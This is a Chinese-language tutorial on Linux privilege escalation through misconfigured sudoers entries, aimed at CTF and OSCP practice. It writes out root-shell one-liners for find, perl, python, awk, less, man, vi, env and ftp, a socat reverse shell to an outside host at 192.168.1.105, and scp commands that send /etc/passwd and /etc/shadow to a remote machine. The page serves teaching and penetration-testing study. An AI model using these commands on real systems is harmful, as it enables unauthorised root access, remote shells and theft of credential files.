0x00 前言

在我们之前的文章中,我们讨论了如何使用SUID二进制文件/etc/passwd 文件的Linux权限提升技巧,今天我们发布了另一种“使用Sudoers文件进行Linux权限提示技巧”的方法。 在解决CTF挑战时,对于权限提升,我们始终通过执行sudo -l命令来检查任何用户执行任何文件或命令的root权限。 您可以阅读我们之前的文章,其中我们已应用此技巧进行权限提升。

0x01 sudoer基础

1.基本概念

在Linux/Unix中,/etc目录下的sudoers文件是sudo权限的配置文件。我们都知道sudo命令的强大功能,sudo这个词代表了超级用户权限。Sudoers文件是存储具有root权限的用户和组的文件,以root或其他用户身份运行部分或全部命令。请看下图:

当与sudo一起运行任何命令时,它需要root权限才能执行,Linux会检查sudoers文件中的特定用户名。并给出结论,特定的用户名是否在sudoers文件列表中,如果没有,那么就不能使用sudo命令运行命令或程序。根据sudo权限,root用户可以从ALL终端执行,充当所有用户:all group,并运行ALL命令。

2.Sudoer文件语法

 如果(root用户)希望授予任何特定用户sudo权限,请输入visudo命令,该命令将打开sudoers文件进行编辑。在用户权限规范下,您将看到默认的root权限“root ALL =(ALL:ALL)ALL”,但在实际情况下,还提供了标记选项,这是可选的,如下图所示。

考虑下面的示例,我们要为用户raaz分配sudo权限,raaz访问终端并使用root权限运行copy命令。这里没有密码标签,这意味着不会为用户请求密码。

注意:

  1. (ALL:ALL)也可以表示为(ALL)
  2. 如果您找到(root)代替(ALL:ALL),则表示用户可以以root身份运行该命令
  3. 如果没有提及用户或组,则表示sudo默认为root用户

让我们深入了解实际情况。首先,创建一个不属于sudo组的用户。这里我们添加了用户“raaz”,其uid为1002,gid为1002,因此raaz是非root用户

 

0x02 分配root权限的方法

1.分配Root权限的传统方法

如果系统管理员希望授予用户raaz所有权限,那么他可以按照以下步骤在用户权限规范类别下添加用户raaz。

visudo
raaz ALL=(ALL:ALL) ALL
or
raaz ALL=(ALL) ALL

(1) 生成root访问

另一方面,启动攻击主机,首先攻击目标系统,然后进入特权提升阶段。假设您成功地通过ssh登录到受害者的主机,并且想知道当前用户的sudo权限,然后执行下面的命令

sudo -l

在传统方法中,passwd选项在执行上述命令的同时来启用用户身份验证,并且可以使用nopasswd选项来禁用它。突出显示的文本表示当前用户被授权执行的所有命令。因此,我们通过执行命令获得了root访问权限。

sudo su
id

2.分配root权限的默认方法 

如果系统管理员想要授予用户raaz执行所有命令和程序的root权限,那么他可以按照以下步骤在用户权限规范类别下添加用户raaz。

visudo
raaz ALL=ALL
or
raaz ALL=(root) ALL

此处还启用了默认的passwd选项来进行身份验证。

(1).生成root访问

再次攻击目标系统,然后按照上述步骤进入权限提升阶段,并执行以下命令以查看sudo用户列表

sudo -l

在这里,您可以看到突出显示的文本,该文本表示用户raaz可以以root用户身份运行所有命令。。因此,我们可以通过执行更多的下行步骤来实现root访问

sudo su
or
sudo bash

注意:在执行sudo-l命令时,上述两种方法都会要求用户密码进行身份验证,因为默认情况下启用了passwd选项。

0x03 提权技巧

1.允许二进制命令的Root权限

有时用户有权执行特定目录的任何文件或命令,如/bin/cp、/bin/cat或/usr/bin/find,这种类型的权限会导致root权限的权限提升,可以通过以下步骤来实现。

raaz ALL=(root) NOPASSWD: /usr/bin/find

 注意:此处NOPASSWD选项表示在运行sudo -l命令时将不会为身份验证请求密码。

 

(1) 使用Find命令生成Root访问权限

再次攻击受害者的系统,然后进入特权升级阶段,执行下面的命令查看sudo用户列表。

sudo -l

此时,您可以注意到突出显示的文本表示用户raaz可以通过find命令运行任何命令。因此,我们通过执行以下命令获得root访问权限。

sudo find /home -exec /bin/bash \;
id

 

2.允许二进制程序的root权限

有时,管理员会为特定用户分配精细的权限,以运行二进制程序,允许用户编辑任何系统文件,如/etc/passwd等。如果授权给用户,某些二进制程序可能会导致权限提升。在下面给出的命令中,我们为以下程序分配了sudo权限,该程序可以以root用户身份运行。

raaz ALL= (root) NOPASSWD: /usr/bin/perl, /usr/bin/python, /usr/bin/less, /usr/bin/awk, /usr/bin/man, /usr/bin/vi

(1) 使用Perl单命令生成shell

权限提升时,在权限提升阶段执行以下命令以查看sudo用户列表。

sudo -l

现在您可以看到突出显示的文本,显示用户raaz可以以root用户身份运行Perl语言程序或脚本。因此,我们通过执行Perl单命令获得root访问权限。

sudo perl -e 'exec "/bin/bash";'
id

(2) 使用Python单命令生成shell

在攻击目标系统之后,然后如上所述那样进入特权提升阶段,执行以下命令以查看sudo用户列表

sudo -l

此时,您可以看到突出显示的文本,显示用户raaz可以以root用户身份运行python语言程序或脚本。因此,我们通过执行python单命令获得root访问权限。

sudo python -c 'import pty;pty.spawn("/bin/bash")'
id

(3) 使用Less命令生成shell

权限提升时,在权限提升阶段执行以下命令以查看sudo用户列表。

sudo -l

在这里,您可以看到突出显示的文本,该文本表示用户raaz可以以root用户身份运行less命令。因此,我们通过执行以下命令来获得root访问权限。

sudo less /etc/hosts

它将打开请求的系统文件进行编辑,但是为了生成root shell,在编辑器中输入!bash,并按Enter键生成。

您将获得root访问权限,如下图所示。

(4) 使用AWK单命令生成shell

在攻击受害者系统之后,目标系统会像上述那样进入特权提升阶段,执行以下命令以查看sudo用户列表

sudo -l

在此阶段,您可以看到突出显示的文本,该文本表示用户raaz可以以root用户身份运行AWK命令。因此,我们通过执行以下命令来获得root访问权限。

sudo awk 'BEGIN {system("/bin/bash")}'
id

(5) 使用Man命令生成shell

权限提升时,在权限提升阶段执行以下命令以查看sudo用户列表。

sudo -l

在这里,您可以看到突出显示的文本,该文本表示用户raaz可以以root用户身份运行man命令。因此,我们通过执行以下命令来获得root访问权限。

sudo man man

它将打开请求的系统文件进行编辑,但是为了生成root shell,在编辑器中输入!bash,并按Enter键生成。

您将获得root访问权限,如下图所示。

(6) 使用Vi编辑器生成shell

权限提升时,在权限提升阶段执行以下命令以查看sudo用户列表。

sudo -l

在这里,您可以看到突出显示的文本,该文本表示用户raaz可以以root用户身份运行vi命令。因此,我们通过执行以下命令来获得root访问权限。

sudo vi

因此,它将打开vi编辑器进行编辑,但是为了生成root shell,在编辑器中输入!bash,并按Enter键生成。就可以像上面那样使用less命令获得root权限。

您将获得root访问权限,如下图所示。

id
whoami

注意:对less,nano,man,vi和man的sudo的权限非常危险,因为它们允许用户编辑系统文件并导致权限提升。

 

 3.允许Shell脚本的root权限

对于系统或程序调用,有最大的机会获得任何类型的脚本的权限提升,它可以是任何脚本(bash、php、python或c语言脚本)。假设您(系统管理员)想要对任何将在执行时提供bash shell的脚本赋予sudo权限。

例如,我们有一些脚本将在执行时提供root命令终端,在下图中,您可以看到我们已经编写了3个程序,通过使用不同的编程语言来获取bash shell,并将所有三个文件都保存在bin/script中,该三个文件为:asroot.py、asroot.sh、asroot.c(编译文件shell)

注意:在解决OSCP挑战时,您会发现某些脚本被作者隐藏,用于利用内核或root shell,并为任何特定用户设置sudo权限以执行该脚本。

现在允许raaz以root用户身份运行以上所有脚本,方法是在以下命令的帮助下编辑sudoers文件。

raaz ALL= (root) NOPASSWD: /bin/script/asroot.sh, /bin/script/asroot.py, /bin/script/shell

(1) 通过执行Bash脚本生成root shell

执行下面的权限提升命令以查看sudo用户列表。

sudo -l

突出显示的文本显示用户raaz可以作为root用户运行asroot.sh。因此,我们通过运行asroot.sh脚本获得root访问权限。

sudo /bin/script/asroot.sh
id

(2) 通过执行Python脚本生成root shell

执行下面的权限提升命令以查看sudo用户列表

sudo -l

此时,突出显示的文本显示用户raaz可以作为root用户运行asroot.py。因此,我们通过执行以下脚本获取了root访问权限。

sudo /bin/script/asroot.py
id

(3)  通过执行C语言脚本生成root shell

在攻击目标系统之后,执行下面的权限提升命令以查看sudo用户列表。

sudo -l

在这里,您可以看到突出显示的文本,表示用户raaz可以以root用户身份运行shell(asroot.c编译文件)。所以我们通过执行以下shell获得了root访问权限。

sudo /bin/script/shell
id

4.允许其他程序的sudo权限

正如上面所看到的那样,一些具有sudo权限的二进制程序有助于获得root访问权限。但除此之外,还有一些应用程序可以活得root访问权限,如果拥有sudo权限,如FTP或socat。在下面给出的命令中,我们为以下程序分配了sudo权限,该程序可以以root用户身份运行。

raaz    ALL=(ALL) NOPASSWD: /usr/bin/env, /usr/bin/ftp, /usr/bin/scp, /usr/bin/socat

(1)  使用环境生成Shell

在权限提升阶段,执行以下命令查看sudo用户列表。

 sudo -l

正如我们可以看到的用户:raaz对env、ftp、scp和socat拥有sudo权限,现在让我们逐个尝试通过它们获得root访问权限。

sudo env /bin/bash
whoami

(2)  使用FTP生成Shell

现在让我们尝试使用以下命令通过FTP获得root访问权限:

sudo ftp
! /bin/bash
whoami
or
! /bin/sh
id
whoami

(3) 使用Socat生成Shell

现在让我们尝试通过socat在以下命令的帮助下获得root访问权限。在攻击者的终端上执行以下命令,以使侦听器能够进行反向连接。

socat file:`tty`,raw,echo= tcp-listen:

然后在受害者的主机上运行以下命令,您将在攻击者计算机上获得root访问权限。

sudo socat exec:'sh -li',pty,stderr,setsid,sigint,sane tcp:192.168.1.105:

(4)  通过SCP生成shell

正如我们所知,sudo权限对于scp是可用的,但不可能获得如上所示的bash shell目录,因为它是一种安全地在本地主机和远程主机之间移动任何文件的方法。因此,我们可以使用它来传输那些需要root权限来执行读/写操作的系统文件,例如/etc/passwd和/etc/shadow文件。

语法: scp SourceFile user@host:~/目录路径

sudo scp /etc/passwd aarti@192.168.1.105:~/
sudo scp /etc/shadow aarti@192.168.1.105:~/

现在让我们通过检查远程目录来确认,正如您看到的那样,我们在远程PC中成功地接收到了passwd和shadow文件。

 
 
 
 
 

使用sudo进行Linux权限升级技巧的更多相关文章

  1. 使用PATH变量进行Linux权限升级技巧

    0x00 前言 在解决了几个OSCP挑战之后,我们决定写一篇关于用于Linux权限升级的各种方法的文章,这对我们的读者在其渗透测试项目中有所帮助.在本文中,我们将学习“使用$path变量的各种方法”以 ...

  2. 使用SUID二进制文件进行Linux权限升级技巧

      0x00 基础知识 众所周知,在Linux中一切都以文件存在,包括具有允许或限制三个执行操作(即读/写/执行)权限的目录和设备.因此,当给任何文件设置权限时,应该需要了解允许的Linux用户或限制 ...

  3. 使用LD_Preload的Linux权限升级技巧

      0x00 前言 共享库是程序在启动时加载的库.正确安装共享库后,之后启动的所有程序将自动使用新的共享库. 0x01 共享库名称 每个共享库都有一个名为soname的特殊名称.soname有前缀li ...

  4. 编辑/etc/passwd文件进行权限升级的技巧

    0x00 前言 在本文中,我们将学习“修改/etc/passwd文件以创建或更改用户的root权限的各种方法”.有时,一旦目标被攻击,就必须知道如何在/etc/passwd文件中编辑自己的用户以进行权 ...

  5. Security基础(一):Linux基本防护措施、使用sudo分配管理权限、提高SSH服务安全

    一.Linux基本防护措施 目标: 本案例要求练习Linux系统的基本防护措施,完成以下任务: 修改用户zhangsan的账号属性,设置为2015-12-31日失效(禁止登录) 锁定用户lisi的账户 ...

  6. 给新手的 10 个有用 Linux 命令行技巧

    我记得我第一次使用 Linux 的时候,我还习惯于 Windows 的图形界面,我真的很讨厌 Linux 终端.那时候我觉得命令难以记忆,不能正确使用它们.随着时间推移,我意识到了 Linux 终端的 ...

  7. linux===给新手的 10 个有用 Linux 命令行技巧(转)

    本文转自:http://www.codeceo.com/article/10-linux-useful-command.html?ref=myread 仅用作学习交流使用.如有侵权,立删 我记得我第一 ...

  8. Shell基础:Linux权限管理

    Linux权限基本概念 查看系统(文件夹/文件)权限: ls -l =>d/-   xxx xxx xxx.  num  owner  group  size   date  filename ...

  9. Linux权限管理(week1_day5)--技术流ken

    权限概述 Linux系统一般将文件可存/取访问的身份分为3个类别:owner(拥有者).group(和所有者同组的用户).others(其他人,除了所有者,除了同组的用户以及除了超级管理员),且3种身 ...

随机推荐

  1. KCP TCP是为流量设计的(每秒内可以传输多少KB的数据),讲究的是充分利用带宽。而KCP是为流速设计的(单个数据包从一端发送到一端需要多少时间)

    http://www.skywind.me/blog/archives/1048 KCP是一个快速可靠协议,能以比 TCP浪费10%-20%的带宽的代价,换取平均延迟降低 30%-40%,且最大延迟降 ...

  2. CentOS7 增加回环地址

    添加回环地址的命令和说明如下: #添加一个回环地址到lo网卡,添加多个可以改lo:后边的序号 [要添加的地址] netmask 255.255.255.255 broadcast [要添加的地址] # ...

  3. Android ConstraintLayout 小记

    * 可以圆形定位view之间的位置,通过View的中心,来定位不同半径和弧度的距离. layout_constraintCircle : references another widget id la ...

  4. ES6 - 字符串的扩展(模版字符串)

    模板字面量的最简单语法,是使用反引号( `)(Tab上面那个键)来包裹普通字符串,而不是用双引号或单引号. <!DOCTYPE html> <html lang="en&q ...

  5. flutter 打包apk之后,安装在手机上无法访问网络解决方法

    </application> <uses-permission android:name="android.permission.READ_PHONE_STATE" ...

  6. 【SpringBoot】SpringBoot配置与单元测试(二)

    SpringBoot项目创建参考[SpringBoot]SpringBoot快速入门(一) 本文介绍SpringBoot项目的POM文件.配置与单元测试 POM文件 1.SpringBoot的pom文 ...

  7. MongoDB开发深入之三:复制

    复制是基于操作日志oplog,相当于MySQL中的二进制日志,只记录发生改变的记录,复制是将主节点的oplog日志同步并应用到其他从节点的过程. 首先要理解两个概念:1.复制:提供冗余和高可用性:2. ...

  8. docker 国内镜像加速

    CentOS7 对于使用 systemd 的系统,请在 /etc/docker/daemon.json 中写入如下内容(如果文件不存在请新建该文件): {"registry-mirrors& ...

  9. IDEA中Lombok插件的安装及使用

    这个插件的好处在于可以让我们的代码更简洁,减少一些重复的工作,最常用的就是@Data注解,比如在实体类上使用@Data注解,实体类的各个属性就不需要书写get和set方法. 安装方法: 1.File→ ...

  10. qtableview 右键菜单弹出及获取数据

    connect(tableView, SIGNAL(customContextMenuRequested(const QPoint &)), this,SLOT(slot_tableViewM ...